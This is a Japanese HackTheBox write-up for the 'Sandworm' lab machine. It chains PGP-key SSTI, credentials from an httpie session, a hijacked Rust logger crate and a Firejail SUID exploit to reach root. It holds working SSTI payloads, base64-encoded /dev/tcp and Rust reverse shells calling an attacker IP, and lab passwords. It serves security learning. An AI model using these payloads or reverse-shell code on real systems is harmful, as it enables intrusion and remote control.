【HackTheBox】Sandworm Writeup
Recon
nmap
┌──(kali㉿kali)-[~]
└─$ nmap -Pn 10.10.11.218
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
Website
ドメイン名のssa.htb
を/etc/hosts
に入れます。
サイトのページを見てみると、https://ssa.htb/guide
というページがありました。pgp
のencrypt, decrypt, signature verificationができるみたいです。
ページの下に、署名の検証に使えるサンプルのメッセージがありました。公開鍵はhttps://ssa.htb/pgp
からコピーできます。また、サイトはflaskで作られています。
pgp demoの動作確認
暗号化と復号のdemoは問題なく使えます。
署名の検証
サンプルメッセージと公開鍵で署名を検証すると、good signature
と書いてあるpopupが出てきました。
このサイトで自分の鍵pgp key pairを作ってでメッセージをsignしてssa.htb
で検証してみます。(https://pgptool.org/)
popupのメッセージがGood signiture from "codingotter"
に変わりました。codingotterは鍵の生成に使った名前です。user-controlled inputが画面に反映されたので、SSTIできるかも?と思いました。
Test SSTI
pgpの鍵を毎回オンラインツールで生成するのがめんどくさいので、コマンドでやります。鍵生成する時に使う情報をテキストファイルに入れて、pgp
コマンドで鍵を作ります。
Key-Type: RSA
Key-Length: 1024
Subkey-Type: RSA
Subkey-Length: 1024
Name-Real: {{7*7}}
Name-Email: test@test.com
Expire-Date: 0
Passphrase: password
gpg --batch --gen-key content.txt
適当にテキストをsignして、結果をsigned.txt
に保存します。
echo "test" | gpg --clear-sign --passphrase "password" > signed.txt
公開鍵をexportします。
gpg --armor --export -o pubkey.txt --yes
pubkey.txt
とsigned.txt
の中身をサイトに入れてみたら、popupに49が出力されました。SSTIできました。
別のpayloadを試す前に、さっきのkeyを削除します。
gpg --delete-secret-keys --batch --yes <key-id>
gpg --delete-keys --batch --yes <key-id>
Name-Realを{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
に変えたらidが表示されました。
ではreverse shellを取ります。
Get a Reverse Shell with SSTI
このpayloadを試しましたが実行されませんでした。なんかencodeでもしないといけないのかな。
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('nc 10.10.14.3 9001').read() }}
毎回サイトに公開鍵と署名済みメッセージをコピーしてsubmitするのが大変なので、スクリプトを書きます。
import requests
with open("./pubkey.txt", "r") as f:
pk = f.read()
with open("./signed.txt", "r") as f:
message = f.read()
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate, br',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Origin': 'https://ssa.htb',
'Connection': 'keep-alive',
'Referer': 'https://ssa.htb/guide',
'Sec-Fetch-Dest': 'empty',
'Sec-Fetch-Mode': 'cors',
'Sec-Fetch-Site': 'same-origin',
}
data = {
'signed_text': message, 'public_key': pk,
}
response = requests.post('https://ssa.htb/process', headers=headers, data=data, verify=False)
print(f"{response.status_code}\n{response.text}")
色々実験してみたら、このpayloadでいけました。bash -c "bash -i >& /dev/tcp/10.10.14.3/9001 0>&1"
をbase64エンコードして、${IFS}
でスペースを書き換えました。
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo${IFS}"YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zLzkwMDEgMD4mMSIK"|base64${IFS}-d|bash').read() }}
鍵の作成→メッセージ署名→公開鍵のexport→サイトにPOSTします。
gpg --batch --gen-key content.txt
echo "test" | gpg --clear-sign --passphrase "password" > signed.txt
gpg --armor --export -o pubkey.txt --yes
python3 ssti.py
reverse shell取れました!
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.218] 55020
atlas@sandworm:/var/www/html/SSA$ id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas)
Shell as Altas (in Firejail Sandbox)
user flagがなかったので、silentobserver
に切り替える方法を探さないといけないです。
atlas@sandworm:/home$ ls -la
drwxr-xr-x 4 nobody nogroup 4096 May 4 2023 .
drwxr-xr-x 19 nobody nogroup 4096 Jun 7 13:53 ..
drwxr-xr-x 8 atlas atlas 4096 Jun 7 13:44 atlas
dr-------- 2 nobody nogroup 40 Nov 12 09:25 silentobserver
File Enumeration
このシェルはsudo
、grep
などよくみるコマンドがなかったので、コンテナかサンドボックスの中にいる気がします。/home/atlas/.config
の中に2つのフォルダーがありました。
atlas@sandworm:~/.config$ ls -la
drwxrwxr-x 4 atlas atlas 4096 Jan 15 2023 .
drwxr-xr-x 8 atlas atlas 4096 Jun 7 13:44 ..
dr-------- 2 nobody nogroup 40 Nov 12 09:25 firejail
drwxrwxr-x 3 nobody atlas 4096 Jan 15 2023 httpie
firejail
があるので、ここはfirejailのサンドボックスみたいですね。httpie
の中にsilentobserverのパスワードっぽいものがありました。
atlas@sandworm:~/.config/httpie/sessions/localhost_5000$ cat admin.json
cat admin.json
{
"__meta__": {
"about": "HTTPie session file",
"help": "https://httpie.io/docs#sessions",
"httpie": "2.6.0"
},
"auth": {
"password": "quietLiketheWind22",
"type": null,
"username": "silentobserver"
},
<SNIP>
silentobserver:quietLiketheWind22
でsshログインできました。user flag取れました!
Shell as Silentobserver
pspy
pspyでプロセスを見てみます。
rootがaltasとして何かのrust programを実行していることがわかります。
2023/11/13 15:00:01 CMD: UID=0 PID=46256 | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --offline
/opt/tipnet
を見てみたいと思います。
Source Code Analysis
opt
の中に2つのディレクトリーがありました。ソースコードが入っています。
silentobserver@sandworm:/opt$ ls
crates tipnet
/opt/tipnet
tipnetのコードを見てみます。長いのでtoggleで、、
/opt/tipnet/src/main.rs(一部)
extern crate logger;
use sha2::{Digest, Sha256};
use chrono::prelude::*;
use mysql::*;
use mysql::prelude::*;
use std::fs;
use std::process::Command;
use std::io;
fn main() {
let mode = get_mode();
if mode == "" {
return;
}
else if mode != "upstream" && mode != "pull" {
println!("[-] Mode is still being ported to Rust; try again later.");
return;
}
let mut conn = connect_to_db("Upstream").unwrap();
if mode == "pull" {
let source = "/var/www/html/SSA/SSA/submissions";
pull_indeces(&mut conn, source);
println!("[+] Pull complete.");
return;
}
println!("Enter keywords to perform the query:");
let mut keywords = String::new();
io::stdin().read_line(&mut keywords).unwrap();
if keywords.trim() == "" {
println!("[-] No keywords selected.\n\n[-] Quitting...\n");
return;
}
println!("Justification for the search:");
let mut justification = String::new();
io::stdin().read_line(&mut justification).unwrap();
// Get Username
let output = Command::new("/usr/bin/whoami")
.output()
.expect("nobody");
let username = String::from_utf8(output.stdout).unwrap();
let username = username.trim();
if justification.trim() == "" {
println!("[-] No justification provided. TipNet is under 702 authority; queries don't need warrants, but need to be justified. This incident has been logged and will be reported.");
logger::log(username, keywords.as_str().trim(), "Attempted to query TipNet without justification.");
return;
}
logger::log(username, keywords.as_str().trim(), justification.as_str());
search_sigint(&mut conn, keywords.as_str().trim());
}
fn get_mode() -> String {
let valid = false;
let mut mode = String::new();
while ! valid {
mode.clear();
io::stdin().read_line(&mut mode).unwrap();
match mode.trim() {
"a" => {
println!("\n[+] Upstream selected");
return "upstream".to_string();
}
"b" => {
println!("\n[+] Muscular selected");
return "regular".to_string();
}
"c" => {
println!("\n[+] Tempora selected");
return "emperor".to_string();
}
"d" => {
println!("\n[+] PRISM selected");
return "square".to_string();
}
"e" => {
println!("\n[!] Refreshing indeces!");
return "pull".to_string();
}
"q" | "Q" => {
println!("\n[-] Quitting");
return "".to_string();
}
_ => {
println!("\n[!] Invalid mode: {}", mode);
}
}
}
return mode;
}
fn connect_to_db(db: &str) -> Result<mysql::PooledConn> {
let url = "mysql://tipnet:4The_Greater_GoodJ4A@localhost:3306/Upstream";
let pool = Pool::new(url).unwrap();
let mut conn = pool.get_conn().unwrap();
return Ok(conn);
}
fn search_sigint(conn: &mut mysql::PooledConn, keywords: &str) {
let keywords: Vec<&str> = keywords.split(" ").collect();
let mut query = String::from("SELECT timestamp, target, source, data FROM SIGINT WHERE ");
for (i, keyword) in keywords.iter().enumerate() {
if i > 0 {
query.push_str("OR ");
}
query.push_str(&format!("data LIKE '%{}%' ", keyword));
}
let selected_entries = conn.query_map(
query,
|(timestamp, target, source, data)| {
Entry { timestamp, target, source, data }
},
).expect("Query failed.");
for e in selected_entries {
println!("[{}] {} ===> {} | {}",
e.timestamp, e.source, e.target, e.data);
}
}
fn pull_indeces(conn: &mut mysql::PooledConn, directory: &str) {
let paths = fs::read_dir(directory)
.unwrap()
.filter_map(|entry| entry.ok())
.filter(|entry| entry.path().extension().unwrap_or_default() == "txt")
.map(|entry| entry.path());
let stmt_select = conn.prep("SELECT hash FROM tip_submissions WHERE hash = :hash")
.unwrap();
let stmt_insert = conn.prep("INSERT INTO tip_submissions (timestamp, data, hash) VALUES (:timestamp, :data, :hash)")
.unwrap();
let now = Utc::now();
for path in paths {
let contents = fs::read_to_string(path).unwrap();
let hash = Sha256::digest(contents.as_bytes());
let hash_hex = hex::encode(hash);
let existing_entry: Option<String> = conn.exec_first(&stmt_select, params! { "hash" => &hash_hex }).unwrap();
if existing_entry.is_none() {
let date = now.format("%Y-%m-%d").to_string();
println!("[+] {}\n", contents);
conn.exec_drop(&stmt_insert, params! {
"timestamp" => date,
"data" => contents,
"hash" => &hash_hex,
},
).unwrap();
}
}
logger::log("ROUTINE", " - ", "Pulling fresh submissions into database.");
}
pspyのログから、tipnetが実行された時のmodeはeになっていることがわかります。e modeではpull_indeces
関数が実行ます。
pull_indeces
関数は多分こんなことやってます:/var/www/html/SSA/SSA/submissions
の中のファイルのハッシュを計算→ファイルの中身のSHA256ハッシュを計算→ハッシュがまだdbに入っていない場合はファイルの中身とハッシュをdbに入れる
最後にlogger::log
が呼ばれています。これのソースコードは/opt/crates/logger
にあります。
/opt/logger
loggerのコードを見てみます。
silentobserver@sandworm:/opt$ ls -la crates/logger/src
total 12
drwxrwxr-x 2 atlas silentobserver 4096 May 4 2023 .
drwxr-xr-x 5 atlas silentobserver 4096 May 4 2023 ..
-rw-rw-r-- 1 atlas silentobserver 732 May 4 2023 lib.rs
silentobserverはloggerのwrite権限があります。
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
pub fn log(user: &str, query: &str, justification: &str) {
let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
let log_message = format!("[{}] - User: {}, Query: {}, Justification: {}\n", timestamp, user, query, justification);
let mut file = match OpenOptions::new().append(true).create(true).open("/opt/tipnet/access.log") {
Ok(file) => file,
Err(e) => {
println!("Error opening log file: {}", e);
return;
}
};
if let Err(e) = file.write_all(log_message.as_bytes()) {
println!("Error writing to log file: {}", e);
}
}
lib.rs
をreverse shellのコードに書き換えてビルドし直すとaltasのシェルが取れるはずです。atlasのシェルは一番最初に取れたシェルだったので、これで合ってるかどうかわからなかったです。
もしかしたらfirejail sandboxの外のシェルになるかもしれないのでやってみます。
Exploit
rust reverse shellのコードをlib.rs
に入れます。lib.rs
が定期的に削除されるので、早く編集しないといけないです。
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
use std::net::TcpStream;
use std::os::unix::io::{AsRawFd, FromRawFd};
use std::process::{Command, Stdio};
pub fn log(user: &str, query: &str, justification: &str) {
let s = TcpStream::connect("10.10.14.3:4444").unwrap();
let fd = s.as_raw_fd();
Command::new("/bin/sh")
.arg("-i")
.stdin(unsafe { Stdio::from_raw_fd(fd) })
.stdout(unsafe { Stdio::from_raw_fd(fd) })
.stderr(unsafe { Stdio::from_raw_fd(fd) })
.spawn()
.unwrap()
.wait()
.unwrap();
let now = Local::now();
let timestamp = now.format("%Y-%m-%d %H:%M:%S").to_string();
<SNIP>
}
保存したらcargo build
でビルドして実行されるのを待ちます。
Shell as Atlas (Escaped from Firejail)
altasのシェルが取れました。
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.11.218] 46046
$ python3 -c "import pty;pty.spawn('/bin/bash')"
atlas@sandworm:/opt/tipnet$ id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)
atlas@sandworm:/opt/tipnet$ which grep
/usr/bin/grep
よく使うコマンド使えるようになったので、これはサンドボックスの外ですね。今回のatlasはjailer groupに入っているので、jailerは何ができるのかを調べたいと思います。とりあえずlinpeasも実行してみます。
-rwsr-x--- 1 root jailer 1.7M Nov 29 2022 /usr/local/bin/firejail (Unknown SUID binary!)
/usr/local/bin/firejail
が実行できるみたいです。exploitを調べます。
Firejail Exploit (CVE-2022-31214)
Firejail suid priv esc exploitで調べたらそれっぽいpocが出てきました。
実行してみたら、もう一つのaltasのシェルが必要みたいなので、もう一回シェル取ります。
atlas@sandworm:~$ wget 10.10.14.6:8000/exploit.py
atlas@sandworm:~$ chmod +x exploit.py
atlas@sandworm:~$ ./exploit.py
You can now run 'firejail --join=108417' in another terminal to obtain a shell where 'sudo su -' ot shell.
pocの指示通り、2つ目のシェルにfirejail --join=108417
とsu -
を実行します。
atlas@sandworm:/$ firejail --join=108417
firejail --join=108417
changing root to /proc/108417/root
Warning: cleaning all supplementary groups
Child process initialized in 11.36 ms
atlas@sandworm:/$ su -
Shell as Root
rootが取れました!
root@sandworm:~# id
uid=0(root) gid=0(root) groups=0(root)
pocの説明はここから読めます。
Memo
こういうcontainer/sandbox escapeでpriv escする系が苦手かもしれない、、
Discussion